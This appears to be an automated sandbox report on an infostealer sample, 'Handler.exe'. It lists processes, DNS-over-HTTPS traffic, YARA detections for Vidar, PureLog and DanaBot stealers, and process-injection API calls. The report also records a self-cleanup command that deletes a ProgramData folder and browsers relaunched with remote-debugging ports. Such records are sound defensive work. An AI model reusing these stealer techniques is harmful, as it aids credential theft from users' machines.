00 Data Ascii: ntpmsncomS!www-msn-coma-0003a-msedgenet)8558O)a]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50350	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:20:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:20:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomA)XT
2025-01-15 19:20:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:20:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283954e85a1879-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:20:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 53 de 00 21 0b 77 77 77 2d 6d 73 6e 2d 63 6f 6d 06 61 2d 30 30 30 33 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 3c 00 06 00 01 00 00 00 6e 00 2d 03 6e 73 31 c0 3c 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 14 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 46 00 0c 01 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomAS!www-msn-coma-0003a-msedgenet<n-ns1<msnhstmicrosoftx+"$)FB

Target ID:	0
Start time:	14:16:01
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\Handler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Handler.exe"
Imagebase:	0xbd0000
File size:	430'592 bytes
MD5 hash:	5FD322CE6E87BAE023155E3D548D7280
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:16:01
Start date:	15/01/2025
Path:	C:\Users\user\Desktop\Handler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Handler.exe"
Imagebase:	0xde0000
File size:	430'592 bytes
MD5 hash:	5FD322CE6E87BAE023155E3D548D7280
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: infostealer_win_vidar_strings_nov23, Description: Finds Vidar samples based on the specific strings, Source: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Sekoia.io
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:16:02
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 912
Imagebase:	0xc30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:16:12
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:16:12
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2328,i,896341392617718342,12355125796449792821,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:16:25
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:16:26
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2536,i,12924977744264181476,18165705626258018536,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:16:26
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	14:16:26
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:16:32
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:16:32
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7068 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:16:57
Start date:	15/01/2025
Path:	C:\ProgramData\us0r9ri58y.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\us0r9ri58y.exe"
Imagebase:	0x400000
File size:	5'768'704 bytes
MD5 hash:	0A6AE4DE16757CD121632BAD3A903EDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: 00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\ProgramData\us0r9ri58y.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\ProgramData\us0r9ri58y.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\ProgramData\us0r9ri58y.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	14:17:01
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\8q9zu" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:17:01
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:17:01
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x690000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:17:26
Start date:	15/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6988 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	46.7%
Total number of Nodes:	15
Total number of Limit Nodes:	1

Executed Functions

Function 03058131 Relevance: 40.5, APIs: 10, Strings: 13, Instructions: 294
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,030580A3,03058093), ref: 030582C9
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 030582DC
Wow64GetThreadContext.KERNEL32(0000037C,00000000), ref: 030582FA
ReadProcessMemory.KERNELBASE(00000380,?,030580E7,00000004,00000000), ref: 0305831E
VirtualAllocEx.KERNELBASE(00000380,?,?,00003000,00000040), ref: 03058349
WriteProcessMemory.KERNELBASE(00000380,00000000,?,?,00000000,?), ref: 030583A1
WriteProcessMemory.KERNELBASE(00000380,00400000,?,?,00000000,?,00000028), ref: 030583EC
WriteProcessMemory.KERNELBASE(00000380,?,?,00000004,00000000), ref: 0305842A
Wow64SetThreadContext.KERNEL32(0000037C,03000000), ref: 03058466
ResumeThread.KERNELBASE(0000037C), ref: 03058475

Strings

TerminateProcess, xrefs: 03058358
WriteProcessMemory, xrefs: 03058244
SetThreadContext, xrefs: 03058257
VirtualAllocEx, xrefs: 03058231
Load, xrefs: 0305816F
VirtualAlloc, xrefs: 030581F8
ResumeThread, xrefs: 0305826D
aryA, xrefs: 03058177
GetThreadContext, xrefs: 0305820B
ress, xrefs: 030581BB
CreateProcessW, xrefs: 030581E5
GetP, xrefs: 030581B3
ReadProcessMemory, xrefs: 0305821E

Memory Dump Source

Source File: 00000000.00000002.2378395462.0000000003057000.00000040.00000800.00020000.00000000.sdmp, Offset: 03057000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3057000_Handler.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-232383841
Opcode ID: 956aea2136c6b0205ab5bf3fe1e0123e9091b05b22cf94d50ecc47fa332fbd9d
Instruction ID: e537b946fbabd9d992c586c72585000ecde2ab7d51aaf79adff68c958628c6e5
Opcode Fuzzy Hash: 956aea2136c6b0205ab5bf3fe1e0123e9091b05b22cf94d50ecc47fa332fbd9d
Instruction Fuzzy Hash: 48B1067660164AAFDB60CF68CC80BDA77A9FF88714F158564EE08AB341D770FA41CB94

Function 030582AE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,030580A3,03058093), ref: 030582C9
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 030582DC
Wow64GetThreadContext.KERNEL32(0000037C,00000000), ref: 030582FA
ReadProcessMemory.KERNELBASE(00000380,?,030580E7,00000004,00000000), ref: 0305831E
VirtualAllocEx.KERNELBASE(00000380,?,?,00003000,00000040), ref: 03058349
WriteProcessMemory.KERNELBASE(00000380,00000000,?,?,00000000,?), ref: 030583A1
WriteProcessMemory.KERNELBASE(00000380,00400000,?,?,00000000,?,00000028), ref: 030583EC
WriteProcessMemory.KERNELBASE(00000380,?,?,00000004,00000000), ref: 0305842A
Wow64SetThreadContext.KERNEL32(0000037C,03000000), ref: 03058466
ResumeThread.KERNELBASE(0000037C), ref: 03058475

Strings

TerminateProcess, xrefs: 03058358

Memory Dump Source

Source File: 00000000.00000002.2378395462.0000000003057000.00000040.00000800.00020000.00000000.sdmp, Offset: 03057000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3057000_Handler.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: TerminateProcess
API String ID: 2687962208-2873147277
Opcode ID: 366357b1f1c2220b0d4ba716667a9fb5a6f16c59ad58adbe506062085bfa29f6
Instruction ID: dbbddcca889ff27411745b02570b640fab70b254c2cce2394439c89ef63166e8
Opcode Fuzzy Hash: 366357b1f1c2220b0d4ba716667a9fb5a6f16c59ad58adbe506062085bfa29f6
Instruction Fuzzy Hash: 6E310C72341646ABD774CF94CC51FEA73A5BF88B15F148508FA09AF680C6B4BA018B94

Function 02E67138 Relevance: 1.7, APIs: 1, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2375710613.0000000002E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e60000_Handler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0e71c6465e4275c8cab9705c8e19f69ed0556b5e83e1a7f369840863ea7060
Instruction ID: 9ab9f2dba472cd560b28c8a2601d8985f4a6ba57fec9a9705dc419551d242b5a
Opcode Fuzzy Hash: 3a0e71c6465e4275c8cab9705c8e19f69ed0556b5e83e1a7f369840863ea7060
Instruction Fuzzy Hash: E7A14B70A802599FCB05CFA9C484AEDFFF1FF49358F28D559E458A7256C334A881CBA4

Non-executed Functions

Function 02E63CA9 Relevance: 2.7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

4']q, xrefs: 02E63D81
4']q, xrefs: 02E63D56

Memory Dump Source

Source File: 00000000.00000002.2375710613.0000000002E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e60000_Handler.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: e14bfa65d81393883abba09f09f5a628b64c7be0e25490dc40f5edbc097cdfdf
Instruction ID: 43d3ec7a34fb3b1cc09d9e8bd745818f1d3bafd48e68d6a954be12a2585ec591
Opcode Fuzzy Hash: e14bfa65d81393883abba09f09f5a628b64c7be0e25490dc40f5edbc097cdfdf
Instruction Fuzzy Hash: E5613671E012058FD709EF6AE95069ABBEBFFC9200B54E579C405AB668EF385C06CB50

Function 02E63CB8 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

4']q, xrefs: 02E63D81
4']q, xrefs: 02E63D56

Memory Dump Source

Source File: 00000000.00000002.2375710613.0000000002E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e60000_Handler.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 98e1cee2e613a96072d7bf87a8e4001598e833cfa9c4332c834a509c1b3b0c6b
Instruction ID: d4e2268533d0e3a75774c050a6708c389075f4b0402d2a83a7d515f31e3891f0
Opcode Fuzzy Hash: 98e1cee2e613a96072d7bf87a8e4001598e833cfa9c4332c834a509c1b3b0c6b
Instruction Fuzzy Hash: 84512671E012058FD709EF6AE94069ABBEBFFC8300B54E579C405AB668EF385D05CB50

Function 02E66CB0 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375710613.0000000002E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e60000_Handler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5774700b8eda78989267486c1cc5e1dec305ddc597eb76523e58ce3a8d6ffdd
Instruction ID: fa82293f2d5c282a31fb7674915ce9c0e141028174e1a98c0c76846db18e5a57
Opcode Fuzzy Hash: b5774700b8eda78989267486c1cc5e1dec305ddc597eb76523e58ce3a8d6ffdd
Instruction Fuzzy Hash: A7C18B71E5052A8BCB05CFA9C9846AEFBF2FF88344F14D269D455E7205D734E942CBA0

Function 02E66CAF Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375710613.0000000002E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e60000_Handler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb4aa17699fdf371ea8ce72fedab1ac86fe741613a92b885f6cc964313a127b8
Instruction ID: 8213a8b998c5192ce2dcef27570ad04c07ff19967b54c0d7ed56b9770bf20caa
Opcode Fuzzy Hash: eb4aa17699fdf371ea8ce72fedab1ac86fe741613a92b885f6cc964313a127b8
Instruction Fuzzy Hash: EA817A71E5052A8BDB14CFA9C8846AEFBF6FF88344F14D229D415E7245D738E942CB90

Analysis Process: Handler.exePID: 2968, Parent PID: 4276COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	189
Total number of Limit Nodes:	1

Executed Functions

Function 00428248 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 004282AF
memset.MSVCRT ref: 004282C3
memset.MSVCRT ref: 004282D4

Strings

%s\*.*, xrefs: 0042827A, 00428280, 00428294

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset$FileFindFirst
String ID: %s\*.*
API String ID: 2180624105-1013718255
Opcode ID: ee3cd0bef39285e60ec048c7d744cdacfd10b79e9f049abb3da976af403e7ac3
Instruction ID: 0a6b2ea63025e97e5e598bf4e61c55c08c71b8a32124561313a11673bac0cd5d
Opcode Fuzzy Hash: ee3cd0bef39285e60ec048c7d744cdacfd10b79e9f049abb3da976af403e7ac3
Instruction Fuzzy Hash: 8611E776A002445BD710DB99DC85D9B3BACDB8A350F05017CF919D3342E6789F58CBA4

Function 0040B846 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

CreateDesktopA.USER32 ref: 0040B86C

Strings

%s%s", xrefs: 0040B88E, 0040B894, 0040B8A9, 0040B8AE
OCALAPPDATA, xrefs: 0040B8EE, 0040B8F4, 0040B902, 0040B907

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateDesktop
String ID: %s%s"$OCALAPPDATA
API String ID: 3054513912-3945843140
Opcode ID: 860e00e64f807195728f0608d2f0bd4457fba2b31b2b7ff1c9972e30e191eb60
Instruction ID: 3d2972af386316d9be50767083905085ccda19580b27f6f880edc31ac63f85e4
Opcode Fuzzy Hash: 860e00e64f807195728f0608d2f0bd4457fba2b31b2b7ff1c9972e30e191eb60
Instruction Fuzzy Hash: A8310876A502008BD714DF68DDC0BA937F4EF9A704F08816DE809D7312E674EA95CB59

Function 0040CCEA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0040CDF7

Strings

$|X, xrefs: 0040CE12

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: $|X
API String ID: 1974802433-3892261830
Opcode ID: 93ba6a4fb0da29434ce8e6e354f19ad1ebedb407e9703d29a19c9622524f0e29
Instruction ID: f96707184f20121d0bda5babc62ec9bbf22f85a6a0252dbd6d8119ede72c3401
Opcode Fuzzy Hash: 93ba6a4fb0da29434ce8e6e354f19ad1ebedb407e9703d29a19c9622524f0e29
Instruction Fuzzy Hash: 97318DB67011109FDB14DBACDCC0BA973B5AFCA308F054878E019D3352DB38AE198B59

Function 0040177C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 004019DA

Strings

\*.*, xrefs: 004017F1, 004017F7, 00401810

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: \*.*
API String ID: 1974802433-1173974218
Opcode ID: 45da029c2d2ac17479f9af7bbc5d6394cf2116e07b0005f993176921ea4e3c3e
Instruction ID: 22346f696f13e9549d8facf84d4ffd02b2e8a1bb9ee0c0cc419566cfbec9e226
Opcode Fuzzy Hash: 45da029c2d2ac17479f9af7bbc5d6394cf2116e07b0005f993176921ea4e3c3e
Instruction Fuzzy Hash: 0A3140BAA001659FC715DF98DCA1AED73B4FF86308B04447CA519E3251EA34BF49CB58

Function 0041008C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 00410141

Strings

\*.*, xrefs: 004100DB, 004100E1, 004100FA

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: \*.*
API String ID: 1974802433-1173974218
Opcode ID: 46a0960487acdacf2fd8ef0d0d4f45aa313d752388bab4cdc5630ddcade3ae05
Instruction ID: 71774e874bff6838fcadcdfaea7023f42c996f402008a6bac7216c547bb6b296
Opcode Fuzzy Hash: 46a0960487acdacf2fd8ef0d0d4f45aa313d752388bab4cdc5630ddcade3ae05
Instruction Fuzzy Hash: 51218B3A7001549BCB14CFACDCC9F9977B5EF8A308F044079A519E3391EA34AE19CB69

Function 004291EA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00429256

Strings

%s\%s, xrefs: 0042921B, 00429221, 00429236, 0042923B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\%s
API String ID: 1974802433-4073750446
Opcode ID: 17400cc20f939fb2ea047b134b98f59f63716dce399d062876eda283c47b5410
Instruction ID: 48a9b12bb2e10cf1fcdd8e6fb660103a8b5b91703090a48299523f0d276b014d
Opcode Fuzzy Hash: 17400cc20f939fb2ea047b134b98f59f63716dce399d062876eda283c47b5410
Instruction Fuzzy Hash: F00128753102049FD708EB68DC81DA633ACFBC5310B004938B915CB352EB34ED49C768

Function 0042A4E5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 0042A548

Strings

%s\*, xrefs: 0042A513, 0042A519, 0042A52D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: %s\*
API String ID: 1974802433-766152087
Opcode ID: 147f18f658a4627c497f47d40985670674bd45b1b97b9c5dcec16a5a094effb5
Instruction ID: 0609e92204065f63010fd7ad1d7f6de40c2cf777a2a57bed9933e9f42ca579c2
